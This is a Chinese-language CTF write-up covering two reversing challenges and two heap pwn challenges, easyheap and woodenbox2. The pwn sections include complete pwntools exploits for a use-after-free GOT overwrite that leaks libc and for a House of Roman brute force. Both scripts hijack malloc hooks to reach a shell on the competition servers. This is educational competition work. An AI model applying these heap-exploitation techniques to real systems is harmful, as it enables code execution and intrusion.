这场团队赛,我个人进入状态很慢,第一天傍晚才开始做出一道题,这与本次比赛的题目质量也有关。这次比赛题目平均质量比I春秋公益赛要高。作为队伍中的一员,我个人仅贡献出了3道题的分数。另外有2道逆向题各有所惑,感觉只差那一步。后面也会说明一下,希望有大佬给我指点一下。
【前言】:这就是我在第一天傍晚才做出的第一道题。
【分析】:顾名思义,循环图,程序代码和图算法有关。但是我想说,你懂不懂这个算法对解决这个问题影响都不大。根据关键字定位到关键代码:
只有这么一层校验输入,上边猜测是初始化一个循环图。通过动态调试就可以发现dword_953380 这个结构有点像链表或者说类似链表。本来一开始我的思路就是把这个结构逆出来,然后把这段校验代码抠出来修改一下直接爆破,试了一段时间发现这个结构有点难逆,于是手动跟一下整个校验的流程。
注意观察eax和ebp-0x24。eax存的是程序计算后的正确数据,ebp-0x24存的是输入数据中当前的数据。
动态调试的时候,根据前两个断点所在的条件,加上输入字符均为可见的条件可以推出4种以上的输入,其中仅有一种能够通过最后断点所在的条件。正确的flag是flag{数字加字母的组合},flag我没有保存,这里只是记录一下解题方法。
当然我相信有很多大佬都是成功逆出那个结构,直接写代码爆破了。我这个费时费力,太low了。
【前言】:这道题只分析出一部分,没有做出来。在此主要是想把我的疑惑说出来,等大佬来给我解答。
【分析】:程序跑不起来,先是报错没有dll,我下载之后,运行又报错:
还原得到输入是 Daucasus@s_abikity,还以为这是flag,提交不对,加上标志提交也不对,还是没这么简单的。后面发现程序会以输入作为key去解密一段代码:
我按照算法编写脚本去解密,再放到IDA中分析还是有很多代码分析不对,这我就搞不懂了。解密脚本:
#include
#include
#include
using namespace std;
char Str[20] = { 0 };
void sub_1004011F6()
{
char v1[19] = { 17,8,6,10,15,20,42,59,47,3,47,4,16,72,62,0,7,16 };
UCHAR key[] = {
0x55,0x69,0x73,0x69,0x6e,0x67,0x5f,0x48,
0x6f,0x70,0x70,0x65,0x72,0x21
};
int i; // [rsp+ECh] [rbp-4h]
for (i = 0; i <= 17; ++i)
{
Str[i]= v1[i]^ key[i%14];
}
printf("%s\n",Str);
}
int main()
{
//sub_1004011F6();
UCHAR key[] = "Daucasus@s_abikity";
FILE* fm = fopen("C:\\Users\\HP\\Desktop\\ConsoleApplication1\\天津垓.exe", "rb+");
FILE* fin= fopen("C:\\Users\\HP\\Desktop\\ConsoleApplication1\\天津垓1.exe", "rb");
if (fm == NULL)return 0;
fseek(fm, 0xc4d, SEEK_SET);
fseek(fin, 0xc4d, SEEK_SET);
for (int i = 0; i < 1045; i++) {
UCHAR ch = fgetc(fin);
fputc(ch ^ key[i % 18], fm);
}
fclose(fm);
fclose(fin);
return 0;
}
pwn题全是第二天才解出来的,状态进入的太慢。
【保护】:
【前言】:这道题如果好好思考和调试就能发现漏洞,看是看不出具体问题来的。所以第一天晚上我只是看了好久也没有思路,做不出来。。。
先来审计一下代码:
添加操作
该结构很简单:
struct Obj{
char *Data;
int Size;
}
这里有个地方比较有趣,只能允许3个结构同时存在,还有输入的大小如果超过1024,操作就会在分配Obj结构之后停止。乍一看,问题好像不大,没啥不对劲的。
很明显,释放Obj的时候,没有将Obj的Data指针置空。结合添加操作里面的代码,我设想一种情况:正常分配两个Obj0 和Obj1,其Data 域大小为0x60(合法就行)。释放Obj0 ,Obj1,此时fastbins 的情况是Obj1->Obj0, Obj1->Data->Obj0->Data。
然后再添加两个Obj,故意将Data域的大小设置为非法,这样就能成功保留下Obj1->Data,后面就可以利用了。
想法如此,直接调试一手。
正常分配两个Obj,然后释放
Add(0x60,'a'*0x10)#0
Add(0x60,'b'*0x10)#1
Del(0)
Del(1)
+-------------------------------------------------------+
| 0x116e000: 0x0000000000000000 0x0000000000000021 |Obj0's chunk head
+-------------------------------------------------------+
| 0x116e010: 0x0000000000000000 0x0000000000000060 |Obj0->Data Obj0->Size
+-------------------------------------------------------+
| 0x116e020: 0x0000000000000000 0x0000000000000071 |Obj0->Data's chunk head
+-------------------------------------------------------+
| 0x116e030: 0x0000000000000000 0x6161616161616161 |-
| 0x116e040: 0x000000000000000a 0x0000000000000000 | -
| 0x116e050: 0x0000000000000000 0x0000000000000000 | -
| 0x116e060: 0x0000000000000000 0x0000000000000000 | -->Obj0->Data
| 0x116e070: 0x0000000000000000 0x0000000000000000 | -
| 0x116e080: 0x0000000000000000 0x0000000000000000 |-
+-------------------------------------------------------+
| 0x116e090: 0x0000000000000000 0x0000000000000021 |Obj1's chunk head
+-------------------------------------------------------+
| 0x116e0a0: 0x000000000116e000 0x0000000000000060 |Obj1->Data Obj1->Size
+-------------------------------------------------------+
| 0x116e0b0: 0x0000000000000000 0x0000000000000071 |Obj1->Data's chunk head
+-------------------------------------------------------+
| 0x116e0c0: 0x000000000116e020 0x6262626262626262 |-
| 0x116e0d0: 0x000000000000000a 0x0000000000000000 | -
| 0x116e0e0: 0x0000000000000000 0x0000000000000000 | -
| 0x116e0f0: 0x0000000000000000 0x0000000000000000 | -->Obj1->Data
| 0x116e100: 0x0000000000000000 0x0000000000000000 | -
| 0x116e110: 0x0000000000000000 0x0000000000000000 |-
+-------------------------------------------------------+
Add(0x60,'')
Del(2)
heap_base=u64(p.recv(3).ljust(8,'\0'))-0x0a
info('heap_base:'+hex(heap_base))
Add(0x60,'')
pay=p64(0)+p64(0x21)+p64(heap_base+0x150)+p64(0x80)
Edit(0,pay)
Edit(1,p64(elf.got['puts']))
Del(2)
libc_base=u64(p.recv(6).ljust(8,'\0'))-libc.sym['puts']
【EXP】:
#!/usr/bin/env python
# coding=utf-8
from pwn import*
#context.log_level=1
if True:
p=process('./easyheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote('121.36.209.145',9997)
libc=ELF('./libc.so.6',checksec=False)
elf=ELF('./easyheap',checksec=False)
def Add(l,s):
p.sendlineafter('choice:\n','1')
p.sendlineafter('message?\n',str(l))
ret=p.recv()
if 'message?\n' in ret:
p.sendline(s)
else:
p.send('\n')
return
def Del(idx):
p.sendlineafter('choice:\n','2')
p.sendlineafter('deleted?\n',str(idx))
def Edit(idx,s):
p.sendlineafter('choice:\n','3')
p.sendlineafter('modified?\n',str(idx))
p.sendafter('message?\n',s)
Add(0x60,'a'*0x10)#0
Add(0x60,'b'*0x10)#1
Del(0)
Del(1)
Add(0x410,'')
Add(0x410,'')
pay=p64(0)+p64(0x21)+p64(elf.got['free'])+p64(0x80)
Edit(0,pay)
pay=p64(elf.plt['puts'])
Edit(1,pay)
Add(0x60,'')
Del(2)
heap_base=u64(p.recv(3).ljust(8,'\0'))-0x0a
info('heap_base:'+hex(heap_base))
Add(0x60,'')
pay=p64(0)+p64(0x21)+p64(heap_base+0x150)+p64(0x80)
Edit(0,pay)
Edit(1,p64(elf.got['puts']))
Del(2)
libc_base=u64(p.recv(6).ljust(8,'\0'))-libc.sym['puts']
info('libc_base:'+hex(libc_base))
pay=p64(0)+p64(0x21)+p64(elf.got['malloc'])+p64(0x80)
Edit(0,pay)
one=[0x45216,0x4526a,0xf02a4,0xf1147]
Edit(1,p64(libc_base+one[0]))
p.interactive()
【前言】:我真的想爆锤这道题的出题人,为什么呢,请看我的分析。
【保护】:
【分析】:
这样的话只能使用House of Roman,并且题目也有暗示。
【说明】:
House of Roman 可以不用泄露任何内存进行getshell,利用条件如下:
- 分配大小是可控的
- 存在与堆相关的漏洞
- 你足够幸运(实践经验告诉你不是开玩笑的,是很崩溃的领悟!)
该手法讲究的是堆的布局,原理是利用相关函数所在地址的低位不变的特点来减少随机化程度,将有可能获得该函数。
利用方法就是先释放一个unsortbin 大小的堆,再分配若干个fastbin 大小的堆,其中部分fastbin 堆包含有libc 空间的内存,改写低16位,利用fastbin attack 有几率得到mallock_hook 地址;再利用unsortbin attack 攻击malloc_hook ,此时malloc_hook 就被写入libc 空间的内存,再改写低24位 ,有一定几率能够将malloc_hook 改写成one_gadget 。说得容易,上手还是有一定挑战的,更何况这道题有个特别恶心人的地方:
调试中就会发现,如果你释放的是第一个位置的堆,则后续堆将往前挪一个位置;如果你释放的是第二个位置的堆,那么原来存在的第一个堆就会没了。说白了就是故意破坏堆在列表中的位置,这样一来无疑就是增加了堆布局的难度。
如果你要进行低位改写,输入不要有换行,并且命令要用对咯。对于老手来说,这也不算什么坑了,见多了。最不能让我忍受的其一还是恶意破坏堆在列表中的位置。
我极其鄙视这种为了折磨人而设计出来的题目,我希望的题目应该是给人启发,教会人新姿势的题目。赞同的给我点个赞吧。
后面就是根据调试慢慢设计堆的布局了。
【EXP】:
#!/usr/bin/env python
# coding=utf-8
from pwn import*
def Add(size,s):
p.sendlineafter('choice:','1')
p.sendlineafter('name:',str(size))
p.sendafter('item:',s)
def Edit(idx,size,s):
p.sendlineafter('choice:','2')
p.sendlineafter('item:',str(idx))
p.sendlineafter('name:',str(size))
p.sendafter('item:',s)
def Del(idx):
p.sendlineafter('choice:','3')
p.sendlineafter('item:',str(idx))
while True:
try:
if False:
p=process('./woodenbox2')
else:
p=remote('121.36.215.224',9998)
#0x2020A0
Add(0x400,'\n')#1
Add(0x60,'\n')#2
Add(0x60,'\n')#3
Del(0)
Add(0x60,'\n')
Add(0x60,'\n')
Add(0x60,'\n')
Add(0x60,'\n')
Del(3)
Del(4)
#Add(0x60,'\n')
pay='\0'*0x68+p64(0x71)+'\x00'
Edit(2,len(pay),pay)
pay='\xed\x1a'
Edit(0,len(pay),pay)
#'\xed\x1a'
Add(0x60,'\n')
Add(0x60,'\n')
Add(0x60,'\n')
Del(0)
Del(0)
Add(0x60,'\n')
Add(0x60,'\n')
pay='\0'*0x68+p64(0x251)+p64(0)+'\x00\x1b'
Edit(3,len(pay),pay)
Add(0x240,'\n')
pay='\0'*0x13+'\xa4\xd2\xaf'
Edit(2,len(pay),pay)
#gdb.attach(p,'p __malloc_hook')
#pause()
p.sendlineafter('choice:','4')
p.interactive()
exit(0)
except EOFError,e:
p.close()